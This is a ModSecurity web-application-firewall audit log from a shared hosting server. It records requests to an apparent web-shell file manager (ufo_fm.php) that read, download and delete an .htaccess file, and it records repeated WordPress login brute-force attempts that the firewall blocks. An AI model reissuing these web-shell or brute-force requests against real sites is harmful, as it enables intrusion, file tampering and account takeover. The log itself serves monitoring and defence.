Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDNUhjHs68UzErry1KmAAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313845700076 36162 (- - -)
Stopwatch2: 1789313845700076 36162; combined=33618, p1=265, p2=33304, p3=0, p4=0, p5=49, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--5caaea05-Z--

--e217a852-A--
[13/Sep/2026:18:38:11.889041 +0300] aqbDY-ut1GUrjaX0wO43zgAAAM0 216.73.216.41 50470 127.0.0.1 7081
--e217a852-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot&rm=1 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--e217a852-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e217a852-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDY-ut1GUrjaX0wO43zgAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313891850227 38870 (- - -)
Stopwatch2: 1789313891850227 38870; combined=35395, p1=356, p2=34972, p3=0, p4=0, p5=66, sr=140, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--e217a852-Z--

--d9456500-A--
[13/Sep/2026:18:38:12.744317 +0300] aqbDZPut1GUrjaX0wO431gAAAMg 216.73.216.41 50596 127.0.0.1 7081
--d9456500-B--
GET /img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--d9456500-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d9456500-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDZPut1GUrjaX0wO431gAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313892700456 43921 (- - -)
Stopwatch2: 1789313892700456 43921; combined=41142, p1=262, p2=40779, p3=0, p4=0, p5=100, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--d9456500-Z--

--b9977a12-A--
[13/Sep/2026:18:38:46.262546 +0300] aqbDhvut1GUrjaX0wO43@gAAANQ 134.185.87.66 52700 127.0.0.1 7081
--b9977a12-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--b9977a12-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b9977a12-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:18-38.134.185.87.66"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313926201325 61279 (- - -)
Stopwatch2: 1789313926201325 61279; combined=60253, p1=284, p2=59446, p3=0, p4=0, p5=384, sr=123, sw=139, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b9977a12-Z--

--1b29b341-A--
[13/Sep/2026:18:38:46.643419 +0300] aqbDhvut1GUrjaX0wO43-AAAAMo 134.185.87.66 52724 127.0.0.1 7081
--1b29b341-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1b29b341-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1b29b341-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313926641526 1959 (- - -)
Stopwatch2: 1789313926641526 1959; combined=653, p1=269, p2=112, p3=0, p4=0, p5=271, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1b29b341-Z--

--dc34ad68-A--
[13/Sep/2026:18:38:47.034207 +0300] aqbDh-ut1GUrjaX0wO43-gAAANM 134.185.87.66 52742 127.0.0.1 7081
--dc34ad68-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--dc34ad68-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dc34ad68-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313927032540 1721 (- - -)
Stopwatch2: 1789313927032540 1721; combined=585, p1=251, p2=65, p3=0, p4=0, p5=269, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dc34ad68-Z--

--f4a2ad3b-A--
[13/Sep/2026:18:38:47.411248 +0300] aqbDh0hjHs68UzErry1KrQAAAIQ 134.185.87.66 52750 127.0.0.1 7081
--f4a2ad3b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 113
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f4a2ad3b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f4a2ad3b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313927409520 1781 (- - -)
Stopwatch2: 1789313927409520 1781; combined=570, p1=237, p2=106, p3=0, p4=0, p5=226, sr=109, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f4a2ad3b-Z--

--f2125e26-A--
[13/Sep/2026:18:38:47.795340 +0300] aqbDh1dqBhgxDSpG7haLBQAAAFM 134.185.87.66 52774 127.0.0.1 7081
--f2125e26-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f2125e26-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f2125e26-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313927793698 1710 (- - -)
Stopwatch2: 1789313927793698 1710; combined=619, p1=239, p2=128, p3=0, p4=0, p5=252, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f2125e26-Z--

--ef91f744-A--
[13/Sep/2026:18:38:48.180431 +0300] aqbDiPut1GUrjaX0wO44AgAAANg 134.185.87.66 52788 127.0.0.1 7081
--ef91f744-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--ef91f744-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ef91f744-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313928178770 1713 (- - -)
Stopwatch2: 1789313928178770 1713; combined=584, p1=228, p2=64, p3=0, p4=0, p5=292, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ef91f744-Z--

--70a63c68-A--
[13/Sep/2026:18:38:48.557371 +0300] aqbDiPut1GUrjaX0wO44BAAAAMU 134.185.87.66 52800 127.0.0.1 7081
--70a63c68-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--70a63c68-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--70a63c68-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313928555329 2128 (- - -)
Stopwatch2: 1789313928555329 2128; combined=683, p1=278, p2=101, p3=0, p4=0, p5=304, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--70a63c68-Z--

--989a7832-A--
[13/Sep/2026:18:38:48.937084 +0300] aqbDiPut1GUrjaX0wO44BgAAAMI 134.185.87.66 52810 127.0.0.1 7081
--989a7832-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 101
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--989a7832-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--989a7832-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313928935145 2015 (- - -)
Stopwatch2: 1789313928935145 2015; combined=672, p1=301, p2=87, p3=0, p4=0, p5=284, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--989a7832-Z--

--c3ed6759-A--
[13/Sep/2026:18:38:49.320416 +0300] aqbDiVdqBhgxDSpG7haLBgAAAEk 134.185.87.66 52828 127.0.0.1 7081
--c3ed6759-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 146
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c3ed6759-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c3ed6759-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313929318484 1987 (- - -)
Stopwatch2: 1789313929318484 1987; combined=729, p1=346, p2=100, p3=0, p4=0, p5=283, sr=114, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c3ed6759-Z--

--aa60bd76-A--
[13/Sep/2026:18:38:49.720409 +0300] aqbDiUhjHs68UzErry1KrwAAAIg 134.185.87.66 52846 127.0.0.1 7081
--aa60bd76-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--aa60bd76-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--aa60bd76-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313929716820 3644 (- - -)
Stopwatch2: 1789313929716820 3644; combined=767, p1=364, p2=100, p3=0, p4=0, p5=303, sr=172, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa60bd76-Z--

--eb4b5b1c-A--
[13/Sep/2026:18:38:50.107897 +0300] aqbDildqBhgxDSpG7haLBwAAAEw 134.185.87.66 52866 127.0.0.1 7081
--eb4b5b1c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 126
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--eb4b5b1c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--eb4b5b1c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313930105130 2837 (- - -)
Stopwatch2: 1789313930105130 2837; combined=720, p1=263, p2=133, p3=0, p4=0, p5=323, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eb4b5b1c-Z--

--7275967e-A--
[13/Sep/2026:18:38:50.492134 +0300] aqbDivut1GUrjaX0wO44CgAAANY 134.185.87.66 52888 127.0.0.1 7081
--7275967e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7275967e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7275967e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
